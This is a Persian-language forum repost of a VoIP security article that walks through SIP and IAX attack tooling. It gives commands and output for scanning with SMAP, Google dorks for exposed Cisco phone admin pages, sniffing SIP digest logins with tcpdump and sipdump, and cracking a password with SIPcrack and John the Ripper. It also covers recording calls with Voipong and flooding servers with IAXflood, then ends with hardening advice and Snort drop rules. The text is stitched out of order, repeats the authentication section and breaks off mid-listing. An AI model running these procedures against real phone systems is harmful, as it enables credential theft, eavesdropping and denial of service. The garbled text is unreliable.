Fahim

اعتبارسنجي اعتبارسنجي براي بسياري از كلاينت‌ها و تجهيزات SIP بر اساس شِماي Digest/MD57 و HTTP انجام مي‌شود. اين نوع اعتبارسنجي نقاط ضعف متعددي دارد. به‌عنوان مثال، مي‌توان به حمله‌هاي مبتني بر ابزارهاي ساده كشف رمز عبور اشاره كرد. براي تحليل ترافيك شبكه در ارتباطات UDP از ابزار Whiteshark استفاده مي‌كنيم. با استفاده از اين ابزار توانمند مي‌توان نموداري از بسته‌هاي اطلاعاتي مبادله شده در طول تماس تلفني ترسيم كرد. براي اين كار كافي است از منوي Statistics گزينه VoIP Calls و سپس گزينه Graph را انتخاب كنيد (شكل1).براي كشف نحوه اعتبارسنجي مي‌توان از يك ***** خاص براي پروتكل SIP استفاده كرده و درخواست‌هاي ثبت را به‌دست آورد (شكل 2). شكل 1 شكل 2 به‌منظور تسهيل فرآيند *****سازي مي‌توان از ابزار SIPcrack استفاده كرد. اين ابزار كوچك كه به زبان C نوشته شده، فقط براي تحليل اعتبارسنجي SIP طراحي شده است. ابزار SIPcrack يك برنامه نفوذ به پروتكل SIP است و از دو برنامه مجزا شامل Sidump و Sipcrack تشكيل شده است. برنامه Sidump با استفاده از رونوشت تهيه شده توسط Tcpdump تلاش‌هاي شبكه را براي اعتبارسنجي كشف مي‌كند. برنامه Sipcrack با تهاجم به سيستم، کلمه‌هاي عبور را كشف مي‌كند. مثالي از نحوه به‌كارگيري اين ابزار در فهرست2 آمده است. ترتيب كار به اين صورت است كه ابتدا تمام بسته‌هاي udp در رابط eth ضبط و سپس درون فايل net-capture.txt ذخيره مي‌شوند.با استفاده از برنامه Sipdump مي‌توان تلاش‌هاي انجام شده براي ورود به سيستم را ***** كرده و آن‌ها را درون فايل sip-logins.dump ذخيره كرد (فهرست3). smap [ Options ] $ ./smap 192.168.100.0/24 smap 0.4.0-cvs [Hidden Content] Host 192.168.100.1:5060: (ICMP OK) SIP enabled Host 192.168.100.2:5060: (ICMP OK) SIP timeout Host 192.168.100.3:5060: (ICMP timeout) SIP enabled ... Host 192.168.100.254:5060: (ICMP OK) SIP enabled Asterisk PBX (unknown version) 256 hosts scanned, 10 ICMP reachable, 3 SIP enabled $ ./smap -o 192.168.100.1 smap 0.4.0-cvs [Hidden Content] Host 192.168.100.1:5060: (ICMP OK) SIP enabled AVM FRITZ!Box Fon Series firmware: 14.03.(89|90) 1 hosts scanned, 1 ICMP reachable, 51SIP enabled فهرست 1 dimebag SIPcrack-0.1 # tcpdump -s 0 -w net-capture.txt udp -i eth0 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 237 packets captured 474 packets received by filter 0 packets dropped by kernel فهرست 2 dimebag SIPcrack-0.1 # ./sipdump -d sip-logins.dump -f net-capture.txt SIPdump 0.1 ( MaJoMu | www.remote-exploit.org ) ------------------------------------------------ * Using tcpdump data file 'net-capture.txt' for sniffing * Starting to sniff with filter 'tcp or udp' * Adding 192.168.123.92:50195 192.168.123.99:50451 to monitor list...id 0 * New traffic on monitored connection 0 (192.168.123.92 -> 192.168.123.99) * Found challenge response (192.168.123.92:50195 192.168.123.99:50451) * Wrote sniffed login 192.168.123.92 -> 192.168.123.99 (User: '201') to dump file * Exiting, sniffed 1 logins فهرست 3 براي فراهم كردن امكان استفاده از فهرست واژگان موجود در ساير نرم‌افزارها (براي مثال John the Riper) به ترتيب زير يك فايل fifo pip ايجاد كنيد: dimebag SIPcrack-0.1 # mkfifo fifosipcrack براي شروع ‌كار نرم‌افزار John the Riper در يك ترمينال ديگر و ارسال رونوشت‌ها به Sipcrack (فهرست4) عبارات زير را اجرا كنيد: dimebag SIPcrack-0.1 # john -- incremental=alnum --stdout=8 > fifosipcrack در مورد اين مثال و پيامدهاي انجام آن دوباره فكر كنيد. در يك زيرساخت VoIP ممكن است به سهولت اعتبارنامه خود را از دست بدهيد. يكي از راه‌حل‌هاي رفع چنين مشكلي مي‌تواند استفاده از كانال‌هاي كدشده همراه VPN يا SIP روي TLS(سرنام Transport Layer Security) باشد. روي پروتكل IAX v2 نيز با استفاده از سيستم اعتبارسنجي مبتني بر MD5 مي‌توان تحليل مشابهي را انجام داد. (sipcrack in action) dimebag SIPcrack-0.1 # ./sipcrack -w fifosipcrack -d sip-logins.dump SIPcrack 0.1 ( MaJoMu | www.remote-exploit.org ) -------------------------------------------------- * Reading and parsing dump file... * Found Accounts: Num Server Client User Algorithm Hash / Password 1 192.168.123.99 192.168.123.92 201 MD5 dfc9979f98f0c546 c08dc3073dda1cc1 * Select which entry to crack (1 – 1): 1 * Generating static MD5 hash...e71899168871bb8929ff6c25aab955b2 * Starting bruteforce against user ‘201’ (MD5 Hash: ‘dfc9979f98f0c546c08dc3073dda1cc1’) * Loaded wordlist: ‘fifosipcrack’ * Tried 25 passwords in 0 seconds * Found password: ‘1234’ * Updating ‘sip-logins.dump’...done فهرست 4 شكل 3 - نمايي از برنامه Cain & Abel

ضبط و بررسي تماس‌ها با بررسي نمودار ترسيم شده توسط ابزار Wireshark متوجه مي‌شويد كه ارتباطات مؤثر بر اساس پروتكل RTP برقرار مي‌شوند. براي شناسايي مشكلات احتمالي در فرآيند ضبط و بررسي از ابزار Voipong استفاده مي‌كنيم. ابزار Voipong يك ردياب شبكه است كه امكان ضبط و بررسي تماس‌هاي VoIP را روي چندين پروتكل (مانند SIP، H323 و پروتكل Skinni Client محصول شركت سيسکو) فراهم مي‌كند. به علاوه با استفاده از اين ابزار مي‌توان تماس‌هاي واضح را روي RTP يافته و پس از كدگشايي آن‌ها را در يك فايل wav. ذخيره كرد. ابزار Voipong را مي‌توان از وب‌سايت توسعه‌دهنده آن در قالب يك برنامه قابل اجرا و بدون نياز به نصب روي هاردديسك دريافت كرد. با استفاده از ماجول‌هاي DSOM (سرنام Dynamic Shared Object Modules) مي‌توان ساختار كدگشايي ابزار مذكور را توسعه داد، اما در نسخه 2 رمزگشاهاي G711– law و G711 a-law به‌طور پيش‌فرض پشتيباني شده‌اند. اين رمزگشاها به دليل كيفيت بالاي فايل‌هاي صوتي خروجي، متداول‌ترين نمونه‌هاي موجود در ترمينال‌هاي LAN هستند. برنامه رسوخ‌گر براي عملكرد صحيح نيازمند كتابخانه‌هاي libcap و براي ساخت فايل wav. نيازمند كتابخانه sox‌ است. پس از كامپايل و نصب نرم‌افزار، بايد آن را با استفاده از فايل voipong.conf پيكربندي كنيد(فهرست5). (file di configurazione voipong.conf) [GENERAL] logdir = /var/log logfile = voipong.log cdrfile = /var/log/voipcdr.log networksfile = /usr/local/etc/voipong/voipongnets pidfile = /var/run/voipong.pid mgmt_ipcpath = /tmp/voipongmgmt.sock soxpath = /usr/bin/sox soxmixpath = /usr/bin/soxmix modpath = /usr/local/etc/voipong/modules mixwaves = 0 defalg = lfp rtp_idle_time = 10 device = eth0 promisc = 1 snaplen = 1500 readtmt = 500 outdir = /var/log/voipong/ [FILTERS] startup = “udp” فهرست 5 به‌علاوه براي تعيين موقعيت فايل موردنظر براي رسوخ بايد به ترتيب زير از فايل voipongnest استفاده كنيد: 192.168.3.0/255.255.255.0 lfp عبارت LFP (سرنام Least False Positive) به الگوريتم مورد استفاده براي شناسايي تماس‌هاي VoIP اشاره دارد. براي اطلاعات بيشتر مي‌توانيد به اسناد آنلاين اين نرم‌افزار مراجعه كنيد. ابزار Voipong به عنوان يك رسوخ‌گر عادي شبكه نيازمند فعال‌سازي حالت listen با استفاده از يك رابط شبكه است كه توانايي يافتن تمام ترافيك VoIP را دارد. ما براي رسيدن به اين هدف از چندين گزينه مختلف بهره مي‌گيريم: - نصب برنامه روي سيستم گيت‌وي شبكه VoIP - استفاده از يك رابط شبكه كه به پورت نظارت سوييچ متصل مي‌شود. - استفاده از يك رابط شبكه مشترك با يك هاب - تكنيك Poisoning ARP - تكنيك Wwitch Flooding هنگام شروع كار با Voiponing مي‌توان برنامه رسوخ‌گر را در حالت پس‌زمينه‌فعال كرده و با استفاده از كنسول Voipcti تماس‌ها را ضبط و بررسي كرد (فهرست6). (voipong in background) dimebag voipong-2.0 # ./voipong EnderUNIX VOIPONG Voice Over IP Sniffer starting... Release 2.0, running on dimebag [Linux 2.6.18 i686] © Murat Balaban [Hidden Content] dimebag voipong-2.0 # dimebag voipong-2.0 # ./voipctl Connected to VoIPong Management Console System: dimebag [Linux 2.6.18 i686] voipong> shcall ID NODE1 PORT1 NODE2 PORT2 STIME DURATION ----- ---------------- ----- ---------------- ----- ----------------- ------------ 09534 192.168.123.99 05022 192.168.123.92 16260 13/02/07 17:26:32 9 seconds Total listed: 1 فهرست 6 همان‌طور که در فهرست6 مشاهده مي‌كنيد، با استفاده از دستور Shcall مي‌توان ارتباط بين ميزبان 192.168.123.99 روي پورت udp به شماره 5022 و ميزبان 192.168.123.92 روي پورت udp به شماره 19260 را مشاهده كرد. با استفاده از كنسول مذكور مي‌توان اطلاعات مشاهده‌شده و گزينه‌هاي مربوط به سرور را پيكربندي كرد (فهرست7). در مثال موردبحث، به‌منظور گوش كردن مکالمه‌هاي درحال ضبط و بررسي، بايد دايركتوري موجود در فايل پيكربندي را در قالب گزينه Outdir باز كرده و فايل‌هاي wav. را جمع‌آوري كنيد. voipong> help Commands: help : this one quit : quit management console uptime : Server uptime logrotate : rotate server's logs setdebug [level] : set debug level to [level] setmixflag [flag] : set mix voice flag to true or false [e.g: 1 for true, 0 for false] shutdown : shutdown server rusage : CPU usage statistics for the server loadnets : Reload voipongnets file info : General server information shcall : Show currently monitored calls shrtcp : Show currently RTCP cache killcall [id] : end monitoring session with [id] فهرست 7 با استفاده از ابزار Cain & Abel روي كامپيوتري با سيستم‌عامل ويندوز امكان آرشيو كردن نتايج وجود دارد. اين كار توسط يك برنامه رسوخ‌گر انجام مي‌شود كه قابليت ضبط و بررسي تماس‌هاي كد شده توسط كدگذارهاي G711 Law ،G771 aLaw ،ADPCM، DVI4 ،LPC ،GSM610 ،Microsoft GSM ،L16 ،G729 ،Speex،iLBC،G722.1 ،G723.1 ،G726-16 ،G726-24 ،G726-32 ،G726-40 و LPC-10 را دارد. با انتخاب اين رسوخ‌گر مي‌توانيد تماس‌ها را با كدگذار مربوط ببينيد. البته اين تماس‌ها پس از كدگشايي در قالب فايل‌هاي wav. درون همان دايركتوري كه ابزار Cain & Abel نصب شده، ذخيره مي‌شوند. با استفاده از اين ابزارهاي توانمند ضبط و بررسي تماس‌هاي تلفني كه با بهره‌گيري از پروتكل‌هاي فعال در حالت Clear برقرار مي‌شوند، بسيار ساده بوده و به بهره‌گيري از تكنيك‌هاي رمزگذاري نيازي نيست. براي اجتناب از اين مشكلات بهتر است از كانال‌هاي VPN يا پروتكل SRTP ‌استفاده شود. به همين ترتيب،‌ پخش فايل‌هاي صوتي كه پروتكل IAX v2 در حالت clear از آن پشتيباني مي‌كند، قابل نفوذ است. با وجود اين، سازندگان پروتكل اخير راه‌حلي را براساس به‌كارگيري يك كانال كدشده توسط AES ارائه كرده‌اند كه هنوز به‌طور رسمي اعلام نشده است. شكل3 نمايي از برنامه Cain & Abel را نشان مي‌دهد. dimebag ~ # cd /var/log/voipong/20070213/ dimebag 20070213 # ls session-enc0-PCMU-8KHz-192.168.123.92,16260-192.168.123.99,5022.raw session-enc0-PCMU-8KHz-192.168.123.92,19088-192.168.123.99,5026.raw session-enc0-PCMU-8KHz-192.168.123.99,5022-192.168.123.92,16260.raw session-enc0-PCMU-8KHz-192.168.123.99,5022-192.168.123.92,16260.wav session-enc0-PCMU-8KHz-192.168.123.99,5026-192.168.123.92,19088.raw session-enc0-PCMU-8KHz-192.168.123.99,5026-192.168.123.92,19088.wav فهرست 8 حمله‌هاي DoS يكي از چالش‌هاي پروتكل‌هاي SIP و IAX v2 حمله‌هاي Denial of Service يا ممانعت از خدمات است. با استفاده از زبان برنامه‌نويسي Perl به سادگي مي‌توان ابزارهايي را ايجاد كرد كه قابليت ارسال بسته‌هاي DoS را داشته باشند. براي انجام اين كار مي‌توان از كتابخانه‌هاي CPAN كه به‌طور خاص براي پروتكل طراحي شده‌اند، بهره‌گرفت يا برنامه‌هايي مانند SIPBomber، IAXflood و SIPsak را مورد استفاده قرار داد. برنامه IAXflood بسيار توانمند بوده و كاربردي ساده دارد. هنگام استفاده از پروتكل IAX اين برنامه مي‌تواند بسته‌هاي DoS را روي يك سرور VoIP ايجاد كند. براي كار با اين برنامه بايد مرجع موردنظر و شماره بسته را به ترتيب زير تعيين كنيد: usage: ./iaxflood sourcename destinationname numpackets براي اين كار بايد امكان دسترسي مستقيم به مرجع و مقصد برنامه، بدون نياز به سيستم NAT از طريق آدرس IP شما فراهم باشد. هدف از به‌كارگيري اين بسته‌ها، كاهش كيفيت خدمات به‌گونه‌اي است كه در نهايت سرور مسدود شود. جمع‌بندي و پيشنهاد بر اساس نوع زيرساخت، بايد به موضوعات امنيتي مقتضي توجه كنيد. در ادامه برخي از اين موضوعات فهرست شده است: - خطوط PSTN يا ISDN را براي بسته‌هاي صوتي حفظ كنيد. - با استفاده از UPS يك سيستم پشتيبان نيرو و انتقال توان به شبكه اترنت به‌منظور تأمين توان ترمينال‌ها، طراحي كنيد. - خدمات در حالت Clear يا خدمات اعتبار سنجي ضعيف حفاظت نشده را به حداقل ممكن برسانيد. تلفن‌ها و رابط‌هاي مديريت را بدون حفاظت در اينترنت باقي نگذاريد. - براي مديريت ترمينال‌ها از كلمات عبور امن استفاده كنيد. - با استفاده از VLAN در شبكه خصوصي خود ترافيك اطلاعات و VoIP‌ را تقسيم كنيد. - در صورت امكان از تجهيزاتي استفاده كنيد كه از كدگذاري فايل‌هاي صوتي توسط پروتكل SRTP پشتيباني مي‌كنند. - كيفيت خدمات را مديريت كنيد. - با استفاده از VPN ipsec يا tls براي ترافيك VoIP از كانال‌هاي كد شده بهره بگيريد. - استفاده از منابع شبكه را (به‌عنوان مثال با استفاده از برنامه source IP control) محدود كنيد. - از ديوارهاي آتش سطح برنامه (مانند SIP/IAX) استفاده كنيد. - از سيستم‌هاي اجتناب از تداخل (Intrusion Prevention System) استفاده كنيد. استفاده از سيستم‌هاي IPS براي مقابله از حمله‌هاي DoS روي پروتكل‌هاي VoIP ضروري است. اين سيستم‌ها در سطح برنامه‌ها فعال بوده و به همين دليل امكان تداخل آن‌ها با تجهيزات ISO/OSI سطح3 وجود ندارد. سيستم استاندارد حفاظتي IDS/IPS با عنوان Snort شناخته مي‌شود كه حالت ورودي سيستم IPS را كنترل مي‌كند.پروتكل SIP معمولاً دچار مشكلات امنيتي است. در سيستم Snort قواعد خاصي براي حفاظت از اين پروتكل در مقابل متداول‌ترين حمله‌ها وجود دارد. براي اطلاع بيشتر به فهرست9 مراجعه كنيد. اين بخش از قوانين به منظور محافظت دائمي از سيستم‌هاي آسيب‌پذير كه يك فاكتور اصلي در خدمات VoIP محسوب مي‌شود، طراحي شده است. در فهرست10 مي‌توانيد مثالي از نحوه مقابله با يك آسيب‌پذيري شناخته شده را ببينيد. اين قاعده (كه از انجمن Snort اخذ شده) از سيستم در مقابل تجاوزات مضر احتمالي حفاظت مي‌كند. # this set are for general SIP specific flooding drop ip any any -> $HOME_NET 5060 (msg:"BLEEDING-EDGE VOIP INVITE Message Flood"; content:"INVITE"; depth:6; threshold: type both , track by_src, count 100, seconds 60 ; classtype:attempted-dos; sid:2003192; rev:1;) drop ip any any -> $HOME_NET 5060 (msg:"BLEEDING-EDGE VOIP REGISTER Message Flood"; content:"REGISTER"; depth:8; threshold: type both , track by_src, count 100, second s 60; classtype:attempted-dos; sid:2003193; rev:1;) #from the rules at nextsoft.cz #intended to catch unusual numbers of unauthorized responses from sip servers drop ip $HOME_NET 5060 -> any any (msg:"BLEEDING-EDGE VOIP Multiple Unathorized SIP Responses"; content:"SIP/2.0 401 Unauthorized"; depth:24; threshold: type both, tra ck by_src, count 5, seconds 360; classtype:attempted-dos; sid:2003194; rev:1;) فهرست9 (snort rules) #Rule submitted by rmkml drop udp $EXTERNAL_NET any -> $HOME_NET 5060 (msg:"COMMUNITY EXPLOIT SIP UDP Softphone overflow attempt"; content:"|3B|branch|3D|"; content:"a|3D|"; pcre:"/^a\x3D[^\n]{1000,}/smi"; reference:bugtraq,16213; reference:cve,2006-0189; classtype:misc-attack; sid:100000223; rev:1;) فهرست10 آدرس ابزارهاي مورد استفاده براي تحليل سيستم [Hidden Content]. [Hidden Content] -SMAP. [Hidden Content] – SIPcrack. [Hidden Content]voipong/ – VOIPONG. [Hidden Content] – IAXflood. [Hidden Content] – documentazione John the ripper. [Hidden Content]. [Hidden Content]

براي شركت‌هاي بزرگ، استفاده از فناوري VoIP به‌منظور برقراري ارتباط بين شعبه‌ها و كارمندان راه دور، شيوه‌اي ساده و مناسب است؛ بسياري از كاربران به منظور حذف شركت‌هاي تلفن قديمي و كاهش هزينه‌هاي مكالمات از فناوري VoIP استفاده مي‌كنند. اجازه دهيد كار خود را با تشريح ابزارهاي مورد استفاده براي آزمايش يك ساختار VoIP آغاز كنيم. فناوري موسوم به VoIP (سرنامVoice over IP) همان فناوري‌اي است كه امكان برقراري مكالمات تلفني را از طريق ترافيك IP فراهم مي‌كند و هر روز مورد استفاده تعداد فزاينده‌اي از شركت‌ها و اشخاص قرار مي‌گيرد. بهره گيري از فناوري VoIP روش ساده‌اي براي برقراري ارتباط بين شعبه‌هاي مختلف و همچنين برقراري ارتباط با كارمندان راه دور شركت‌ها محسوب مي‌شود. بسياري از كاربران به‌منظور حذف شركت‌هاي تلفن قديمي و پرداخت هزينه كمتر براي مكالمات به اين فناوري روي مي‌آورند. بسياري از عرضه‌كنندگان خدمات اينترنتي در سراسر دنيا به‌منظور كاهش هزينه‌هاي مكالمه تلفني از فناوري‌هاي خلاقانه‌اي بهره‌ مي‌برند. اين رويكرد جديد در برقراري ارتباطات تلفني، زمينه تجاري نويني را براي آن دسته از شركت‌ها كه با تكيه بر فناوري IP و خدمات مربوط فعاليت مي‌كنند، ايجاد كرده است. البته از طرفي موجب بروز مشكلات متعددي نيز شده‌است كه پيش از اين در سيستم‌هاي تلفن سنتي، وجود نداشت. تلفن‌هاي آنالوگ قديمي‌اي كه نواقص بسيار داشتند، با تجهيزات هوشمند جايگزين شده‌اند. اغلب اين تجهيزات به يك سيستم‌عامل و ساير امكاناتي از اين دست مجهز هستند. اين تصوير كلي را مي‌توان به‌منظور درك بهتر تمام زيرساخت تلفن، از كابل‌ها گرفته تا فناوري PBX مورد استفاده قرار داد. ارتباطات تلفني با استفاده از پروتكل‌هاي فراهم‌سازي ارتباطات (مانند SIP، H323 و IAX) و پروتكل‌هاي انتقال داده‌ها (مانند RTP و IAX) برقرار مي‌شوند. اين پروتكل‌ها همواره در ارتباطات بي‌نقص و سيستم‌هايي با سامانه مجوزدهي ضعيف استفاده شده‌اند. فناوري جديد در مقايسه با فناوري قديمي ارتباطات تلفني، فاكتورهاي متعددي را معرفي كرده است؛ در اين مقاله رويكردهاي مختلف مورد استفاده براي كاوش در امنيت سيستم VoIP را مورد بررسي قرار مي‌دهيم. به‌طور خلاصه، اين مقاله مواردي همچون اسكن زيرساخت، كنترل رابط‌هاي مديريت، رسوخ به ارتباطات و سامانه اعتبارسنجي و ممانعت از ارائه خدمات (حملات DoS) را مورد بحث قرار مي‌دهد. براي اين كار، برخي از مشكلات موجود در سيستم را شناسايي كرده و ميزان خطر حاصل از آن‌ها را به درستي تحليل مي‌كنيم. ابزارها براي تحليل يك ساختار VoIP ابزارهاي متعددي وجود دارد. در پايان مقاله آدرس اينترنتي مجموعه‌اي از ابزارهاي تجاري و اپن‌سورس موجود براي تحليل سيستم آمده است. در ادامه برخي از ابزارهاي مذكور را براي شناسايي موارد زير به كار مي‌گيريم: خدمات فعال مديريت PBX و ترمينال مجوزدهي ضبط و بررسي تماس‌هاي تلفني حمله‌هاي DoS اسكن خدمات فعال با استفاده از ابزار NMAP امكان اسكن ميزبان‌هاي راه‌دور و كشف موارد مربوط به VoIP فراهم مي‌شود. با استفاده از گزينه sU– مي‌توان فهرست سرويس‌هاي فعال را كه روي پورت‌هاي UDP ثبت شده‌اند و با خدمات VoIP مانند SIP و IAX v2 مرتبط هستند، شناسايي كرد. ابزار SMAP ابزار SMAP به دليل تمركز بر پروتكل SIP، بسيار مفيد است. اين ابزار محصول ادغام كاركردهاي دو ابزار NMAP و SIPSAK است. ابزار SMAP به واسطه ارسال چندين درخواست SIP به واحدهاي مختلف موجود در شبكه و انطباق نتايج آن با داده‌هاي موجود در يك بانك اطلاعاتي، قادر است مدل و سيستم‌عامل تجهيزات سخت‌افزاري را تشخيص دهد. براي استفاده از اين ابزار بايد آن را در قالب آرشيو tar.gz از اينترنت دريافت كرده و پس از بازگشايي آرشيو در يك پوشه، فايل Makefile را اجرا كنيد تا منابع موجود در آن، كامپايل شوند. چنان‌كه در فهرست1 مشاهده مي‌کنيد، استفاده از ابزار SMAP بسيار ساده است. سازنده اين پروژه معتقد است، ابزار SMAP در شبكه‌هاي محلي نتايج بسيار دقيقي را به دست مي‌دهد، اما اگر اين ابزار براي تشخيص اطلاعات تجهيزات مستقر در بيرون يك NAT يا ديوار آتش به‌كار گرفته شود، در صحت نتايج حاصل ترديد وجود دارد. رابط‌هاي مديريت آيا مي‌توانيد وضعيت اينترنت را بدون وجود موتورهاي جست‌وجو يا پيوندهاي تودرتو كه از يك صفحه وب آغاز شده و به طور بازگشتي ادامه مي‌يابند، تصور كنيد؟ با استفاده از اين شيوه اطلاعات ميليون‌ها وب‌سايت در زمان به نسبت كوتاهي گردآوري مي‌شود. اين ايده ممكن است براي بعضي موجب برآشفتگي شده و براي برخي ديگر جالب و حتي براي برخي ديگر از افراد بسيار كارآمد باشد. به عبارت ديگر، اگر گوگل اغلب زمان خود را صرف گردآوري اطلاعات از اينترنت مي‌كند، چرا ما براي دسترسي به همان اطلاعات خود را به زحمت بياندازيم در حالي كه سايرين قبلاً اين كار را انجام داده‌اند؟اما اين موضوع چه ربطي به امنيت VoIP دارد؟ آيا گوشي‌هاي VoIP مورد استفاده شما داراي رابط وب است؟ آيا سرور VoIP شما رابط وب دارد؟ آيا دسترسي به رابط سرور VoIP يا گوشي‌هاي شما از طريق وب امكان‌پذير است؟ ممكن است تصور كنيد چه كسي امكان دسترسي به يك رابط مديريتي را از طريق اينترنت فراهم مي‌كند؟ حق داريد چنين فكري بكنيد، اما در هر حال بهتر است تجهيزات خود را بررسي كنيد. تكنيك Footprinting رويكرد جامعي است كه براي گردآوري اطلاعات اوليه در سيستم‌هايي كه داراي شكاف‌هاي امنيتي شناخته‌شده يا پيكربندي نامناسب (چيزي شبيه به user=admin و password=admin) هستند، مورد استفاده قرار مي‌گيرد. اين رويكرد به واسطه جست‌وجو در بانك‌هاي اطلاعاتي گوگل با استفاده از دنباله‌هاي كاراكتري است. به اين ترتيب، آن دسته از رابط‌هاي مديريتي كه توسط اسپايدرها در اينترنت كشف شده‌اند، شناسايي مي‌شوند. توسعه و رشد اين شيوه وام‌دار صدها نوع دستگاه و تجهيزات است كه از رابط مديريت تحت وب استفاده مي‌كنند. امروزه يافتن اين دستگاه‌ها و تجهيزات در سراسر دنيا به امري ساده تبديل شده است. در ادامه چند نمونه عملي را بررسي مي‌کنيم: دنباله كاراكتري inurl:"NetworkConfiguration"Cisco چنان‌چه دنباله كاراكتري فوق را در گوگل وارد كنيد، بانك‌هاي اطلاعاتي اين موتور جست‌وجو را براي يافتن تلفن‌هاي VoIP محصول شركت سيسکو يا رابط‌ مديريت آن‌ها، جست‌وجو كرده‌ايد.شگفت‌انگيز است. با اين كار تعداد زيادي از تجهيزات را مي‌يابد كه به‌درستي نشانه‌گذاري شده‌اند. در عمل اين نوع جست‌وجو به خوبي شناخته شده و در حقيقت تعداد كمي از تجهيزات موردنظر از اين طريق قابل دسترسي هستند. رابط سيسکو دستورالعمل‌هاي كمي دارد. مي‌توان تصور كرد در صورتي كه اين رابط امكان برقراري تماس را براي افراد ثالث فراهم كند، چه اتفاقي رخ مي‌دهد. به احتمال نمي‌توان تماس‌هاي برقرار شده در سيستم را ضبط و بررسي كرد، اما درون سايتي كه رابط مديريت متعلق به آن است، زنگ تمام تلفن‌ها ب دون هيچ علتي به‌صدا درمي‌آيد. فرض كنيد اگر رابط يك سيستم جمع‌آوري اطلاعات (PCAP) داشته باشد، چه اتفاقي رخ مي‌دهد؟ در اين شرايط مي‌توان ترافيك اطلاعات مربوط به تماس‌هاي تلفني را در ميان مسير مورد دسترسي قرار داده و پس از دريافت محلي اطلاعات، آن را بر اساس الگوهايي تحليل كرد. اما يافتن چنين رابط‌هايي غيرممكن است؛ زيرا اين رابط‌ها وجود خارجي ندارند. e.g.0114930398330"snow'' در صورت تمايل مي‌توانيد اطلاعات ذخيره شده در حافظه رابط راه‌دور را آزمايش كنيد. نكته مهم اين است كه در اين صفحات يك دنباله كاراكتري مشخص براي جست‌وجو در گوگل بيابيد. براي طراحان رابط مديريت تحت وب، شناخت يك پيكربندي استاندارد براي مديريت اسپايدرها بسيار مفيد است: يك طراح براي تعيين صفحاتي كه بايد نشانه‌گذاري شوند و صفحاتي كه نبايد مورد دسترسي قرار گيرند، فايلي موسوم به robots.txt را درون دايركتوري مرجع قرار مي‌دهد. براي صفحات مرتبط با رابط‌هايي كه مايل به نشانه‌گذاري آن‌ها نيستيد، بايد دو سطر زير را درون فايل Robots.text وارد كنيد: User-Agent: * Disallow: / اعتبارسنجي اعتبارسنجي براي بسياري از كلاينت‌ها و تجهيزات SIP بر اساس شِماي Digest/MD57 و HTTP انجام مي‌شود. اين نوع اعتبارسنجي نقاط ضعف متعددي دارد. به‌عنوان مثال، مي‌توان به حمله‌هاي مبتني بر ابزارهاي ساده كشف رمز عبور اشاره كرد. براي تحليل ترافيك شبكه در ارتباطات UDP از ابزار Whiteshark استفاده مي‌كنيم. با استفاده از اين ابزار توانمند مي‌توان نموداري از بسته‌هاي اطلاعاتي مبادله شده در طول تماس تلفني ترسيم كرد. براي اين كار كافي است از منوي Statistics گزينه VoIP Calls و سپس گزينه Graph را انتخاب كنيد (شكل1).براي كشف نحوه اعتبارسنجي مي‌توان از يك ***** خاص براي پروتكل SIP استفاده كرده و درخواست‌هاي ثبت را به‌دست آورد (شكل 2). شكل 1 شكل 2 به‌منظور تسهيل فرآيند *****سازي مي‌توان از ابزار SIPcrack استفاده كرد. اين ابزار كوچك كه به زبان C نوشته شده، فقط براي تحليل اعتبارسنجي SIP طراحي شده است. ابزار SIPcrack يك برنامه نفوذ به پروتكل SIP است و از دو برنامه مجزا شامل Sidump و Sipcrack تشكيل شده است. برنامه Sidump با استفاده از رونوشت تهيه شده توسط Tcpdump تلاش‌هاي شبكه را براي اعتبارسنجي كشف مي‌كند. برنامه Sipcrack با تهاجم به سيستم، کلمه‌هاي عبور را كشف مي‌كند. مثالي از نحوه به‌كارگيري اين ابزار در فهرست2 آمده است. ترتيب كار به اين صورت است كه ابتدا تمام بسته‌هاي udp در رابط eth ضبط و سپس درون فايل net-capture.txt ذخيره مي‌شوند.با استفاده از برنامه Sipdump مي‌توان تلاش‌هاي انجام شده براي ورود به سيستم را ***** كرده و آن‌ها را درون فايل sip-logins.dump ذخيره كرد (فهرست3). smap [ Options ] $ ./smap 192.168.100.0/24 smap 0.4.0-cvs [Hidden Content] Host 192.168.100.1:5060: (ICMP OK) SIP enabled Host 192.168.100.2:5060: (ICMP OK) SIP timeout Host 192.168.100.3:5060: (ICMP timeout) SIP enabled ... Host 192.168.100.254:5060: (ICMP OK) SIP enabled Asterisk PBX (unknown version) 256 hosts scanned, 10 ICMP reachable, 3 SIP enabled $ ./smap -o 192.168.100.1 smap 0.4.0-cvs [Hidden Content] Host 192.168.100.1:5060: (ICMP OK) SIP enabled AVM FRITZ!Box Fon Series firmware: 14.03.(89|90) 1 hosts scanned, 1 ICMP reachable, 51SIP enabled فهرست 1 dimebag SIPcrack-0.1 # tcpdump -s 0 -w net-capture.txt udp -i eth0 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 237 packets captured 474 packets received by filter 0 packets dropped by kernel فهرست 2 dimebag SIPcrack-0.1 # ./sipdump -d sip-logins.dump -f net-capture.txt SIPdump 0.1 ( MaJoMu | www.remote-exploit.org ) ------------------------------------------------ * Using tcpdump data file 'net-capture.txt' for sniffing * Starting to sniff with filter 'tcp or udp' * Adding 192.168.123.92:50195 192.168.123.99:50451 to monitor list...id 0 * New traffic on monitored connection 0 (192.168.123.92 -> 192.168.123.99) * Found challenge response (192.168.123.92:50195 192.168.123.99:50451) * Wrote sniffed login 192.168.123.92 -> 192.168.123.99 (User: '201') to dump file * Exiting, sniffed 1 logins فهرست 3 براي فراهم كردن امكان استفاده از فهرست واژگان موجود در ساير نرم‌افزارها (براي مثال John the Riper) به ترتيب زير يك فايل fifo pip ايجاد كنيد: dimebag SIPcrack-0.1 # mkfifo fifosipcrack براي شروع ‌كار نرم‌افزار John the Riper در يك ترمينال ديگر و ارسال رونوشت‌ها به Sipcrack (فهرست4) عبارات زير را اجرا كنيد: dimebag SIPcrack-0.1 # john -- incremental=alnum --stdout=8 > fifosipcrack در مورد اين مثال و پيامدهاي انجام آن دوباره فكر كنيد. در يك زيرساخت VoIP ممكن است به سهولت اعتبارنامه خود را از دست بدهيد. يكي از راه‌حل‌هاي رفع چنين مشكلي مي‌تواند استفاده از كانال‌هاي كدشده همراه VPN يا SIP روي TLS(سرنام Transport Layer Security) باشد. روي پروتكل IAX v2 نيز با استفاده از سيستم اعتبارسنجي مبتني بر MD5 مي‌توان تحليل مشابهي را انجام داد. (sipcrack in action) dimebag SIPcrack-0.1 # ./sipcrack -w fifosipcrack -d sip-logins.dump SIPcrack 0.1 ( MaJoMu | www.remote-exploit.org ) -------------------------------------------------- * Reading and parsing dump file... * Found Accounts: Num 